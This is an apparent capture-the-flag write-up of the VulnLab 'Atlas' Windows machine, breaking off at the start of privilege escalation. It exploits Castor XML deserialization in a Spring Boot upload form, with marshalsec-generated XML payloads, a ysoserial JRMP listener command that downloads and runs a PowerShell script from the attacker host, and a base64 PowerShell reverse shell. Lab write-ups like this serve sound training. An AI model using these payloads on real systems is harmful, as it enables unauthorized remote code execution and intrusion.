POSTS

VULNLAB: Atlas

Atlas is a Hard-difficulty machine focusing on Java deserialization and .NET cryptographic analysis. The foothold involves exploiting a vulnerable Castor XML library in a Spring Boot app and reverse-engineering a .NET application to recover credentials.

VULNLAB: Atlas
3748 words · 18 min

Overview

Atlas

  • Type Machines
  • OS Windows
  • Severity Hard
  • Creator sec77
  • Release date 2023 Aug 4

Enumeration

Start the instance via Discord and let’s go:

image

10.10.84.121

Nmap

$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.84.121                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-18 16:58 JST
Nmap scan report for 10.10.84.121
Host is up (0.26s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FileZilla ftpd 1.7.2
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla.
| ssl-cert: Subject: commonName=filezilla-server self signed certificate
| Not valid before: 2023-06-30T15:35:45
|_Not valid after:  2024-06-30T15:40:45
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp        22851463 Jul 03  2023 atlas-pilot-1.0.0-SNAPSHOT.jar
|_-r--r--r-- 1 ftp ftp          586379 Jul 03  2023 atlas_generator.zip
|_ssl-date: TLS randomness does not represent time
22/tcp   open  ssh           OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey: 
|   3072 4b:f3:65:22:72:c4:3a:d2:7d:af:8f:b1:35:96:79:ae (RSA)
|   256 df:d5:63:88:09:57:cd:4e:7b:90:5b:46:46:03:42:13 (ECDSA)
|_  256 a9:74:d9:78:3f:bd:7c:39:8c:a6:2a:a1:fb:12:36:ba (ED25519)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-01-18T08:01:12+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: ATLAS
|   NetBIOS_Domain_Name: ATLAS
|   NetBIOS_Computer_Name: ATLAS
|   DNS_Domain_Name: ATLAS
|   DNS_Computer_Name: ATLAS
|   Product_Version: 10.0.19041
|_  System_Time: 2025-01-18T08:01:05+00:00
| ssl-cert: Subject: commonName=ATLAS
| Not valid before: 2025-01-17T07:53:28
|_Not valid after:  2025-07-19T07:53:28
8080/tcp open  http          Apache Tomcat (language: en)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
  • Found that we have FTP (FileZilla ftpd 1.7.2), SSH, RDP and 8080/tcp (Tomcat) open.
  • Add atlas in in /etc/hosts

WEB (8080/tcp)

image

Found maybe an interesting entry point as we have the capacity to upload an xml file

First try with a basic xml structure:

cat test.xml
               
<xml>
        <stuff>This is my stuff</stuff>
</xml>

But the output after uploaded is:

image

Maybe we need to craft a specific xml file to be interpreted accordingly

Before continue to explore more here, we switch to enumerate the FTP side.

FTP (21/tcp)

Anonymous login is allowed and we can found 2 files:

$ ftp -i anonymous@atlas    
Connected to atlas.
220-FileZilla Server 1.7.2
220 Please visit https://filezilla-project.org/
331 Please, specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||50498|)
150 Starting data transfer.
-r--r--r-- 1 ftp ftp        22851463 Jul 03  2023 atlas-pilot-1.0.0-SNAPSHOT.jar
-r--r--r-- 1 ftp ftp          586379 Jul 03  2023 atlas_generator.zip
226 Operation successful
ftp> quit

Found a ZIP and a JAR files

Let’s go to dowload them:

$ wget -r ftp://anonymous:1234@atlas/ 
$ ls -la
total 22900
drwxrwxr-x 2 user user     4096 Jan 18 17:22 .
drwxrwxr-x 3 user user     4096 Jan 18 17:21 ..
-rw-rw-r-- 1 user user   586379 Jul  3  2023 atlas_generator.zip
-rw-rw-r-- 1 user user 22851463 Jul  3  2023 atlas-pilot-1.0.0-SNAPSHOT.jar
$ unzip atlas_generator.zip 
Archive:  atlas_generator.zip
   creating: .mvn/
   creating: .mvn/wrapper/
  inflating: .mvn/wrapper/maven-wrapper.jar  
  inflating: .mvn/wrapper/maven-wrapper.properties  
  inflating: build.gradle            
   creating: gradle/
  inflating: gradlew                 
  inflating: gradlew.bat             
   creating: gradle/wrapper/
  inflating: gradle/wrapper/gradle-wrapper.jar  
  inflating: gradle/wrapper/gradle-wrapper.properties  
  inflating: mvnw                    
  inflating: mvnw.cmd                
  inflating: pom.xml                 
 extracting: settings.gradle         
   creating: src/
   creating: src/main/
   creating: src/main/java/
   creating: src/main/java/com/
   creating: src/main/java/com/example/
   creating: src/main/java/com/example/uploadingfiles/
  inflating: src/main/java/com/example/uploadingfiles/Client.java  
  inflating: src/main/java/com/example/uploadingfiles/Employee.java  
  inflating: src/main/java/com/example/uploadingfiles/FileUploadController.java  
  inflating: src/main/java/com/example/uploadingfiles/UploadingFilesApplication.java  
   creating: src/main/resources/
  inflating: src/main/resources/application.properties  
   creating: src/main/resources/static/
  inflating: src/main/resources/static/59f86e9a43e6f89908a4f0b948915bef.png  
  inflating: src/main/resources/static/7363804265c4c8b8ca3f6e25a3e432c6.png  
  inflating: src/main/resources/static/e43471533678310ee5007162c051d5eb.png  
  inflating: src/main/resources/static/mapping.xml  
  inflating: src/main/resources/static/reset-fonts-grids.css  
  inflating: src/main/resources/static/resume.css  
  inflating: src/main/resources/static/rocket.png  
   creating: src/main/resources/templates/
  inflating: src/main/resources/templates/srt-resume.html  
  inflating: src/main/resources/templates/uploadForm.html  
  inflating: src/main/resources/templates/xmlTemplate.html  

Seems some source codes related to Maven

$ file atlas-pilot-1.0.0-SNAPSHOT.jar 
atlas-pilot-1.0.0-SNAPSHOT.jar: Java archive data (JAR)

So Maven is a build automation tool used primarily for Java projects, and we have also a JAR file then seems all related to … Java (and let’s go to take a coffee).

Source code analyzing

$ cd atlas/src/main                      
                                                                                                                                    
$ ls
java  resources
                                                                                                                                    
$ tree                 
.
├── java
│   └── com
│       └── example
│           └── uploadingfiles
│               ├── Client.java
│               ├── Employee.java
│               ├── FileUploadController.java
│               └── UploadingFilesApplication.java
└── resources
    ├── application.properties
    ├── static
    │   ├── 59f86e9a43e6f89908a4f0b948915bef.png
    │   ├── 7363804265c4c8b8ca3f6e25a3e432c6.png
    │   ├── e43471533678310ee5007162c051d5eb.png
    │   ├── mapping.xml
    │   ├── reset-fonts-grids.css
    │   ├── resume.css
    │   └── rocket.png
    └── templates
        ├── srt-resume.html
        ├── uploadForm.html
        └── xmlTemplate.html

8 directories, 15 files

After check all files, we found some good stuff:

  • atlas/src/main/java/com/example/uploadingfiles/FileUploadController.java
package com.example.uploadingfiles;

import java.io.IOException;
import java.util.stream.Collectors;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.method.annotation.MvcUriComponentsBuilder;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import com.example.uploadingfiles.Client;
import com.example.uploadingfiles.Employee;

@Controller
public class FileUploadController {


	@GetMapping("/")
	public String listUploadedFiles(Model model) throws IOException {

		return "uploadForm";
	}

	@GetMapping("/generateTemplate")
	public String writeMarshall(Model model) throws IOException {
		model.addAttribute("message", Client.createXML());
		return "xmlTemplate";
	}


	@PostMapping("/")
	public String handleFileUpload(@RequestParam("file") MultipartFile file,
			RedirectAttributes redirectAttributes, Model model) {

		try {
			Employee person = Client.parseXML(file.getInputStream());
			model.addAttribute("name", person.getName());
			model.addAttribute("id", person.getId());
			model.addAttribute("email", person.getEmail());
			model.addAttribute("phone", person.getPhone());
			model.addAttribute("profile", person.getProfile());
			model.addAttribute("title", person.getTitle());
			model.addAttribute("skills", person.getSkills());
			model.addAttribute("educationTitle", person.getEducationTitle());
			model.addAttribute("educationText", person.getEducationText());
			model.addAttribute("talentTitle1", person.getTalentTitles()[0]);
			model.addAttribute("talentTitle2", person.getTalentTitles()[1]);
			model.addAttribute("talentTitle3", person.getTalentTitles()[2]);
			model.addAttribute("talentText1", person.getTalentTextes()[0]);
			model.addAttribute("talentText2", person.getTalentTextes()[1]);
			model.addAttribute("talentText3", person.getTalentTextes()[2]);		
			model.addAttribute("message", person.getMessage());

		} catch (Exception e) {
			e.printStackTrace();
		}

		return "srt-resume";
	}

}

In the section below, we found an endpoint of the app named /generateTemplate:

...
	@GetMapping("/generateTemplate")
	public String writeMarshall(Model model) throws IOException {
		model.addAttribute("message", Client.createXML());
		return "xmlTemplate";
	}
...

In the section below, we can see that the uploaded xml file is delivered to the parseXML method:

...
		try {
			Employee person = Client.parseXML(file.getInputStream());
...
  • atlas/src/main/java/com/example/uploadingfiles/Client.java
package com.example.uploadingfiles;
import java.io.FileWriter;
import java.io.Reader;
import java.io.InputStreamReader;
import java.io.InputStream;
import java.io.IOException;
import java.io.StringWriter;
import com.example.uploadingfiles.Employee;
import org.exolab.castor.xml.Unmarshaller;
import org.exolab.castor.xml.Marshaller;
import org.exolab.castor.mapping.Mapping; 
import org.exolab.castor.mapping.MappingException;


public class Client {

	public static String createXML()throws IOException{

	try {


		FileWriter fileWriter = new FileWriter("employee_template.xml");
		Marshaller marshaller = new Marshaller(fileWriter);


		// Mapping
		Mapping mapping = new Mapping();
		mapping.loadMapping("http://127.0.0.1:8080/mapping.xml");
		marshaller.setMapping(mapping);
		

		Employee employee=new Employee();
		employee.setId(101);
		employee.setName("Jonathan Doe");
		employee.setTitle("ROCKET TESTER, PILOT");
		employee.setEmail("jonathan@starfield.com");
		employee.setPhone("(313) - 867-5309");
		employee.setProfile("Progressively evolve cross-platform ideas before impactful infomediaries. Energistically visualize tactical initiatives before cross-media catalysts for change.");
		employee.setTalentTitles(new String[] {"Navigation","Warp Engine","Project Direction"});
		employee.setTalentTextes(new String[] {"Assertively exploit wireless initiatives rather than synergistic core competencies.","Credibly streamline mission-critical value with multifunctional functionalities.","Proven ability to lead and manage a wide variety of design and development projects in team and independent situations."});
		employee.setSkills(new String[] {"Mining","Ship Building","Gravity Science","Alien Communication","Planetology","Zero Trust Tools", "Satellite Engineering", "Rocket Science", "Moon Walks"});
		employee.setEducationTitle("NASA University - Bloomington, Indiana");
		employee.setEducationText("Dual Major, Robotics and Starships - 4.0 GPA");
	
	
		marshaller.marshal(employee);
		fileWriter.close();		

		System.out.println("XML Template created sucessfully");
		return "XML Template created sucessfully";
	
		} catch (Exception e) {

			e.printStackTrace();
			return e.toString();
			
		}
	
	}


	public static Employee parseXML(InputStream uploadFile) throws IOException{
	
		try {


			Reader targetReader = new InputStreamReader(uploadFile);
			Unmarshaller unmarshaller = new Unmarshaller(Employee.class);
			Employee employee = (Employee)unmarshaller.unmarshal(targetReader);


			System.out.println("XML Unmarschall Sucessfully");
			System.out.println(employee.getName());
			System.out.println(employee.getId());
			System.out.println(employee.getEducationText());

			employee.setMessage("Parsing Successfull");
			
			return employee;

		 } catch (Exception e) {
		 	e.printStackTrace();

			Employee employee = new Employee();
			employee.setMessage(e.toString());

			return employee;

		 }

	}


}

This endpoint calls the method createXML from the Client class (Client.java) then generate a xml template

In the section below, we can see that it’s using the castor Marshaller library to create the xml file:

...
import org.exolab.castor.xml.Unmarshaller;
import org.exolab.castor.xml.Marshaller;
...
public class Client {

	public static String createXML()throws IOException{

	try {


		FileWriter fileWriter = new FileWriter("employee_template.xml");
...
		marshaller.marshal(employee);
		fileWriter.close();
...

In the section below, we can see that in the parseXML method (related to our analysis of FileUploadController), the xml file will be umarshalled back to the Employee class (Employee.java):

...
	public static Employee parseXML(InputStream uploadFile) throws IOException{
	
		try {


			Reader targetReader = new InputStreamReader(uploadFile);
			Unmarshaller unmarshaller = new Unmarshaller(Employee.class);
			Employee employee = (Employee)unmarshaller.unmarshal(targetReader);


			System.out.println("XML Unmarschall Sucessfully");
...

Let’s go to test the endpoint /generateTemplate:

image

the XML template seems created

Let’s check using FTP if we can find it:

ftp> ls
229 Entering Extended Passive Mode (|||50020|)
150 Starting data transfer.
-r--r--r-- 1 ftp ftp        22851463 Jul 03  2023 atlas-pilot-1.0.0-SNAPSHOT.jar
-r--r--r-- 1 ftp ftp          586379 Jul 03  2023 atlas_generator.zip
-r--r--r-- 1 ftp ftp            1310 Jan 18 08:44 employee_template.xml
226 Operation successful

We download employee_template.xml:

ftp> get employee_template.xml
local: employee_template.xml remote: employee_template.xml
229 Entering Extended Passive Mode (|||50010|)
150 Starting data transfer.
100% |***************************************************************************************|  1310       15.05 MiB/s    00:00 ETA
226 Operation successful
1310 bytes received in 00:00 (9.11 MiB/s)

Check it:

<?xml version="1.0" encoding="UTF-8"?>
<Employee id="101">
	<name>Jonathan Doe</name>
	<talent-titles>Navigation</talent-titles>
	<talent-titles>Warp Engine</talent-titles>
	<talent-titles>Project Direction</talent-titles>
	<talent-textes>Assertively exploit wireless initiatives rather than synergistic core competencies.</talent-textes>
	<talent-textes>Credibly streamline mission-critical value with multifunctional functionalities.</talent-textes>
	<talent-textes>Proven ability to lead and manage a wide variety of design and development projects in team and independent situations.</talent-textes>
	<skills>Mining</skills>
	<skills>Ship Building</skills>
	<skills>Gravity Science</skills>
	<skills>Alien Communication</skills>
	<skills>Planetology</skills>
	<skills>Zero Trust Tools</skills>
	<skills>Satellite Engineering</skills>
	<skills>Rocket Science</skills>
	<skills>Moon Walks</skills>
	<profile>Progressively evolve cross-platform ideas before impactful infomediaries. Energistically visualize tactical initiatives before cross-media catalysts for change.</profile>
	<phone>(313) - 867-5309</phone>
	<email>jonathan@starfield.com</email>
	<education-text>Dual Major, Robotics and Starships - 4.0 GPA</education-text>
	<education-title>NASA University - Bloomington, Indiana</education-title>
	<title>ROCKET TESTER, PILOT</title>
</Employee>

We will upload it to the website then we can see the rendered output:

image

Castor java deserialization exploiting

Castor Gadget chaining

We download all need then build using maven (Java 8 required, We can grab it from https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html):

$ git clone https://github.com/mbechler/marshalsec
$ mvn clean package -DskipTests
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Castor 
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
No gadget type specified, available are [SpringAbstractBeanFactoryPointcutAdvisor, C3P0WrapperConnPool]

2 available gadgets:

  • SpringAbstractBeanFactoryPointcutAdvisor
  • C3P0WrapperConnPool

Generate our payload:

$ ./openjdk-8u262-b10-linux-64/bin/java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Castor SpringAbstractBeanFactoryPointcutAdvisor ldap://10.8.4.253:1389/a
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

<x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:java="http://java.sun.com" xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean"><target-bean-name>ldap://10.8.4.253:1389/a</target-bean-name><property-path>foo</property-path><bean-factory xsi:type="java:org.springframework.jndi.support.SimpleJndiBeanFactory"><shareable-resource>ldap://10.8.4.253:1389/a</shareable-resource></bean-factory></x>

Start a malicious JNDI / LDAP server via marschalsec:

$ ./openjdk-8u262-b10-linux-64/bin/java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.8.4.253/#Exploit"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

Set a local web server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Malicious XML template crafting

We create a malicious xml template file crafted_template.xml including our payload:

<?xml version="1.0" encoding="UTF-8"?>
<Employee id="101">
	<name
		xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
		xmlns:java="http://java.sun.com" xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean">
		<target-bean-name>ldap://10.8.4.253:1389/a</target-bean-name>
		<property-path>foo</property-path>
		<bean-factory xsi:type="java:org.springframework.jndi.support.SimpleJndiBeanFactory">
			<shareable-resource>ldap://10.8.4.253:1389/a</shareable-resource>
		</bean-factory>
	</name>
	<talent-titles>Navigation</talent-titles>
	<talent-titles>Warp Engine</talent-titles>
	<talent-titles>Project Direction</talent-titles>
	<talent-textes>Assertively exploit wireless initiatives rather than synergistic core competencies.</talent-textes>
	<talent-textes>Credibly streamline mission-critical value with multifunctional functionalities.</talent-textes>
	<talent-textes>Proven ability to lead and manage a wide variety of design and development projects in team and independent situations.</talent-textes>
	<skills>Mining</skills>
	<skills>Ship Building</skills>
	<skills>Gravity Science</skills>
	<skills>Alien Communication</skills>
	<skills>Planetology</skills>
	<skills>Zero Trust Tools</skills>
	<skills>Satellite Engineering</skills>
	<skills>Rocket Science</skills>
	<skills>Moon Walks</skills>
	<profile>Progressively evolve cross-platform ideas before impactful infomediaries. Energistically visualize tactical initiatives before cross-media catalysts for change.</profile>
	<phone>(313) - 867-5309</phone>
	<email>jonathan@starfield.com</email>
	<education-text>Dual Major, Robotics and Starships - 4.0 GPA</education-text>
	<education-title>NASA University - Bloomington, Indiana</education-title>
	<title>ROCKET TESTER, PILOT</title>
</Employee>

We select the name tag which will be parsed from the code to include our payload (we remove the initial <name>Jonathan Doe</name> then replace by our payload changing the x to name

Upload our crafted template:

image

We got a callback to our LDAP server:

$ ./openjdk-8u262-b10-linux-64/bin/java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.8.4.253/#Exploit"     
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.8.4.253/Exploit.class

But we don’t receive a callback to our webserver (redirection did not work) then our exploit is not executed:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Failed but we have a confirmed SSRF

SSRF –> RCE

After more research, LDAP is not the only service which we can call via JNDI, there is also RMI:

To do that, we use Ysoserial - tool for generating payloads that exploit unsafe Java object deserialization (and also remote-method-guesser aka rmg) to start a malicous RMI server with our payload.

Ysoserial Gadget Chaining

Warning
  • Use java 11 is mandatory to be able to exploit

Download Ysoserial:

wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

To exploit it, we need to install an old JDK 11:

$ sudo apt install openjdk-11-jdk

$ java --version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 21.0.5 2024-10-15
OpenJDK Runtime Environment (build 21.0.5+11-Debian-1)
OpenJDK 64-Bit Server VM (build 21.0.5+11-Debian-1, mixed mode, sharing)

$ sudo update-alternatives --config java
There are 2 choices for the alternative java (providing /usr/bin/java).

  Selection    Path                                         Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/java   1111      manual mode
  2            /usr/lib/jvm/java-21-openjdk-amd64/bin/java   2111      manual mode

Press <enter> to keep the current choice[*], or type selection number: 1
update-alternatives: using /usr/lib/jvm/java-11-openjdk-amd64/bin/java to provide /usr/bin/java (java) in manual mode
                                                                                                                                    
$ sudo update-alternatives --config javac
There is 1 choice for the alternative javac (providing /usr/bin/javac).

  Selection    Path                                          Priority   Status
------------------------------------------------------------
* 0            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      auto mode
  1            /usr/lib/jvm/java-11-openjdk-amd64/bin/javac   1111      manual mode

Press <enter> to keep the current choice[*], or type selection number: 0
                                                                                                                                    
$ java --version                         
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 11.0.25-ea 2024-10-15
OpenJDK Runtime Environment (build 11.0.25-ea+5-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.25-ea+5-post-Debian-1, mixed mode, sharing)

We switched to Java 11

Start the RMI listener with the CommonsBeanutils1 and with ysoserial only:

$ java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'ping 10.8.4.253'    
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 1099

We can also do the same using the remote method guesser:

$ java -jar target/rmg-4.4.0-jar-with-dependencies.jar listen --yso ~/ysoserial-all.jar 0.0.0.0 1099 CommonsBeanutils1 'ping 10.8.4.253'

RMI Payload generating + new XML template crafting

We use the same payload generator than for LDAP previously but now for RMI:

$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Castor SpringAbstractBeanFactoryPointcutAdvisor "rmi://10.8.4.253/a"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

<x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:java="http://java.sun.com" xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean"><target-bean-name>rmi://10.8.4.253/a</target-bean-name><property-path>foo</property-path><bean-factory xsi:type="java:org.springframework.jndi.support.SimpleJndiBeanFactory"><shareable-resource>rmi://10.8.4.253/a</shareable-resource></bean-factory></x>

We create a new xml template file rmi_template.xml including our payload:

<?xml version="1.0" encoding="UTF-8"?>
<Employee id="101">
	<name
		xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
		xmlns:java="http://java.sun.com" xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean">
		<target-bean-name>rmi://10.8.4.253/a</target-bean-name>
		<property-path>foo</property-path>
		<bean-factory xsi:type="java:org.springframework.jndi.support.SimpleJndiBeanFactory">
			<shareable-resource>rmi://10.8.4.253/a</shareable-resource>
		</bean-factory>
	</name>
	<talent-titles>Navigation</talent-titles>
	<talent-titles>Warp Engine</talent-titles>
	<talent-titles>Project Direction</talent-titles>
	<talent-textes>Assertively exploit wireless initiatives rather than synergistic core competencies.</talent-textes>
	<talent-textes>Credibly streamline mission-critical value with multifunctional functionalities.</talent-textes>
	<talent-textes>Proven ability to lead and manage a wide variety of design and development projects in team and independent situations.</talent-textes>
	<skills>Mining</skills>
	<skills>Ship Building</skills>
	<skills>Gravity Science</skills>
	<skills>Alien Communication</skills>
	<skills>Planetology</skills>
	<skills>Zero Trust Tools</skills>
	<skills>Satellite Engineering</skills>
	<skills>Rocket Science</skills>
	<skills>Moon Walks</skills>
	<profile>Progressively evolve cross-platform ideas before impactful infomediaries. Energistically visualize tactical initiatives before cross-media catalysts for change.</profile>
	<phone>(313) - 867-5309</phone>
	<email>jonathan@starfield.com</email>
	<education-text>Dual Major, Robotics and Starships - 4.0 GPA</education-text>
	<education-title>NASA University - Bloomington, Indiana</education-title>
	<title>ROCKET TESTER, PILOT</title>
</Employee>

Set a tcpdump (to catch incoming icmp traffic):

$ sudo tcpdump -i tun0 icmp                    
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

Upload our crafted XML template:

image

We received our callback to our RMI listener:

$ java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'ping 10.8.4.253'    
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 1099
Have connection from /10.10.84.121:53592
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection

And we received also ICMP ping to our tunnel interface:

$ sudo tcpdump -i tun0 icmp                    
[sudo] password for user: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
21:54:36.179012 IP atlas > tachikoma: ICMP echo request, id 1, seq 1, length 40
21:54:36.179070 IP tachikoma > atlas: ICMP echo reply, id 1, seq 1, length 40
21:54:37.192697 IP atlas > tachikoma: ICMP echo request, id 1, seq 2, length 40
21:54:37.192722 IP tachikoma > atlas: ICMP echo reply, id 1, seq 2, length 40
21:54:38.208329 IP atlas > tachikoma: ICMP echo request, id 1, seq 3, length 40
21:54:38.208355 IP tachikoma > atlas: ICMP echo reply, id 1, seq 3, length 40
21:54:39.224003 IP atlas > tachikoma: ICMP echo request, id 1, seq 4, length 40
21:54:39.224029 IP tachikoma > atlas: ICMP echo reply, id 1, seq 4, length 40

Confirmed, we have a command execution

Command Execution –> Reverse Shell (john)

Set a local web server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Set a Netcat listener:

$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...

Create a PowerShell reverse shell:

$  cat rev_posh.txt    
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADQALgAyADUAMwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Close our current RMI listener and set a new one with a new payload including a PowerShell reverse shell:

$ java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.8.4.253/rev_posh.txt');"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
* Opening JRMP listener on 1099

Then upload again our last crafted XML template (for using RMI):

image

We got a shell as john:

$ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.4.253] from (UNKNOWN) [10.10.84.121] 53836

PS C:\ftp> whoami
atlas\john

Finally grab the Atlas_User flag:

PS C:\ftp> cd ..\Users
PS C:\Users> dir


    Directory: C:\Users


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        30/06/2023     16:07                Administrator                                                        
d-----        30/06/2023     15:01                John                                                                 
d-r---        30/06/2023     15:00                Public                                                               


PS C:\Users> type John\Desktop\user.txt
VL{fa296747aba0ee807fe05d9fc1d2b957}

Privilege Escalation - WinSSHTerm password decrypting & cracking

In the Downloads folder of John, we found WinSSHTerm (version 2.27.0 64bit):

PS C:\Users\john> cd Downloads
PS C:\Users\john\Downloads> dir


    Directory: C:\Users\john\Downloads


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        30/06/2023     20:48                WinSSHTerm                                                           
-a----        28/06/2023     14:19        1071137 WinSSHTerm-2.27.0-x64.zip

After a quick enumeration we can find an interesting file C:\Users\john\Downloads\WinSSHTerm\config\connections.xml:

PS C:\Users\john\Downloads> cd WinSSHTerm
PS C:\Users\john\Downloads\WinSSHTerm> dir


    Directory: C:\Users\john\Downloads\WinSSHTerm


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----        30/06/2023     20:48                config                                                               
d-----        30/06/2023     20:48                tools                                                                
-a----        28/06/2023     14:20           1745 README.txt                                                           
-a----        28/06/2023     14:20        3115752 WinSSHTerm.exe                                                       


PS C:\Users\john\Downloads\WinSSHTerm> cd config
PS C:\Users\john\Downloads\WinSSHTerm\config> dir


    Directory: C:\Users\john\Downloads\WinSSHTerm\config


Mode                 LastWriteTime         Length Name                                                                 
